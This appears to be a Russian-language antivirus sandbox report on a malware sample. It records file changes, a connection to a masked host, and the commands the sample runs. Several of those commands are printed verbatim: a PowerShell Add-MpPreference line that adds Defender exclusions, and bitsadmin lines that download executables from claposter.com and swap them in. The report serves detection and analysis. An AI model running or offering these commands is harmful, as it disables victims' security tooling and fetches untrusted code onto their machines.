Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' echo 'Adding exclusion to Windows Security for <Текущая директория>:'; Add-MpPreference -Force -ExclusionPath <Текущая директория>; Add-MpPreference -Force -ExclusionProcess <Текущая директо...
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM autoposter.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nsh8a74.tmp\system.dll
- %WINDIR%\temp\tara626.tmp
- %WINDIR%\temp\cabacbd.tmp
- %WINDIR%\temp\taracbe.tmp
- %WINDIR%\temp\cabaeb2.tmp
- %WINDIR%\temp\taraeb3.tmp
- %WINDIR%\temp\cabaf12.tmp
- %WINDIR%\temp\taraf13.tmp
- %WINDIR%\temp\tar9f35.tmp
- %WINDIR%\temp\cabb01d.tmp
- %WINDIR%\temp\cabb03e.tmp
- %WINDIR%\temp\tarb03f.tmp
- %WINDIR%\temp\cabb149.tmp
- %WINDIR%\temp\tarb14a.tmp
- %WINDIR%\temp\cabb18a.tmp
- %WINDIR%\temp\tarb18b.tmp
- %WINDIR%\temp\cabb276.tmp
- %WINDIR%\temp\tara4cd.tmp
- %WINDIR%\temp\caba625.tmp
- %WINDIR%\temp\caba4cc.tmp
- %WINDIR%\temp\tara47d.tmp
- %WINDIR%\temp\caba47c.tmp
- %WINDIR%\temp\tar9b28.tmp
- %WINDIR%\temp\cab9dd7.tmp
- %WINDIR%\temp\tar9dd8.tmp
- %WINDIR%\temp\cab9e85.tmp
- %WINDIR%\temp\tar9e86.tmp
- %WINDIR%\temp\cab9f04.tmp
- %WINDIR%\temp\tar9f05.tmp
- %WINDIR%\temp\tarb277.tmp
- %WINDIR%\temp\tarb01e.tmp
- %WINDIR%\temp\cab9f34.tmp
- %WINDIR%\temp\tara07f.tmp
- %WINDIR%\temp\caba0de.tmp
- %WINDIR%\temp\tara0df.tmp
- %WINDIR%\temp\caba246.tmp
- %WINDIR%\temp\tara247.tmp
- %WINDIR%\temp\caba2b6.tmp
- %WINDIR%\temp\tara2b7.tmp
- %WINDIR%\temp\cab9b27.tmp
- %WINDIR%\temp\caba07e.tmp
- %TEMP%\nsh8a74.tmp\userinfo.dll
Удаляет следующие файлы
- %WINDIR%\temp\cab9b27.tmp
- %WINDIR%\temp\cabacbd.tmp
- %WINDIR%\temp\taracbe.tmp
- %WINDIR%\temp\cabaeb2.tmp
- %WINDIR%\temp\taraeb3.tmp
- %WINDIR%\temp\cabaf12.tmp
- %WINDIR%\temp\taraf13.tmp
- %WINDIR%\temp\cabb01d.tmp
- %WINDIR%\temp\caba07e.tmp
- %WINDIR%\temp\tarb01e.tmp
- %WINDIR%\temp\tarb03f.tmp
- %WINDIR%\temp\cabb149.tmp
- %WINDIR%\temp\tarb14a.tmp
- %WINDIR%\temp\cabb18a.tmp
- %WINDIR%\temp\tarb18b.tmp
- %WINDIR%\temp\cabb276.tmp
- %WINDIR%\temp\tarb277.tmp
- %WINDIR%\temp\caba625.tmp
- %WINDIR%\temp\tara626.tmp
- %WINDIR%\temp\tara4cd.tmp
- %WINDIR%\temp\caba4cc.tmp
- %WINDIR%\temp\tara47d.tmp
- %WINDIR%\temp\cab9dd7.tmp
- %WINDIR%\temp\tar9dd8.tmp
- %WINDIR%\temp\cab9e85.tmp
- %WINDIR%\temp\tar9e86.tmp
- %WINDIR%\temp\cab9f04.tmp
- %WINDIR%\temp\tar9f05.tmp
- %WINDIR%\temp\cab9f34.tmp
- %TEMP%\nsh8a74.tmp\system.dll
- %WINDIR%\temp\cabb03e.tmp
- %WINDIR%\temp\tar9f35.tmp
- %WINDIR%\temp\caba0de.tmp
- %WINDIR%\temp\tara0df.tmp
- %WINDIR%\temp\caba246.tmp
- %WINDIR%\temp\tara247.tmp
- %WINDIR%\temp\caba2b6.tmp
- %WINDIR%\temp\tara2b7.tmp
- %WINDIR%\temp\caba47c.tmp
- %WINDIR%\temp\tar9b28.tmp
- %WINDIR%\temp\tara07f.tmp
- %TEMP%\nsh8a74.tmp\userinfo.dll
Сетевая активность
Подключается к
- 'cl###ster.com':443
TCP
Другие
- 'cl###ster.com':443
UDP
- DNS ASK cl###ster.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\bitsadmin.exe' /transfer mj /download /priority FOREGROUND https://claposter.com/downloads/iexplore.exe "<Текущая директория>\iexplore.exe"
- '<SYSTEM32>\timeout.exe' /T 6
- '<SYSTEM32>\bitsadmin.exe' /transfer mj /download /priority FOREGROUND https://claposter.com/downloads/autoposter.exe "<Текущая директория>\0-autoposter.exe"
- '<SYSTEM32>\cmd.exe' /c timeout /t 1 & TASKKILL /F /IM autoposter.exe & ren <Текущая директория>\autoposter.exe ~autoposter.exe & copy /y 0-autoposter.exe autoposter.exe
- '<SYSTEM32>\timeout.exe' /t 1
